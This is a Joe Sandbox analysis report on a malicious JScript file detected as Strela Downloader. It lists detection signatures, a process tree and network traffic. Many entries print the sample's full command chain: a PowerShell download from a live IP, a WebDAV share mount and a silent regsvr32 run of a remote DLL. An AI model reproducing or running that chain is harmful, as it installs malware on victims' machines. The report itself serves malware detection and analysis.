Edit tour

Windows Analysis Report
273371081152046820.js

Overview

General Information

Sample name:	273371081152046820.js
Analysis ID:	1588175
MD5:	ed51a61b659f9e7c0cfd9fc6880692cb
SHA1:	aaf233a4c46dc2440f71403a8905b7e4aa9a9fa8
SHA256:	636bc4bacbdca6c22bd8a1d0daaf6c6910067357dd5be322ca076fe28e25593b
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5932 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1148 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2332 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3036 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1616,i,17140309894658284269,13296705651481407146,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4808 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5924 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2736 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5932	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1148, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2332, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1148, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2332, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", ProcessId: 5932, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5924, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5932, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 1148, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5932, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 1148, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5932, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 1148, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5932, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 1148, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5932, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 1148, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", ProcessId: 5932, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1148, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2332, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4808, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5924, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2736, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4808, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5924, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5932, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 1148, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:19:15.493476+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:19:12.942622+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 273371081152046820.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 273371081152046820.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:19:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

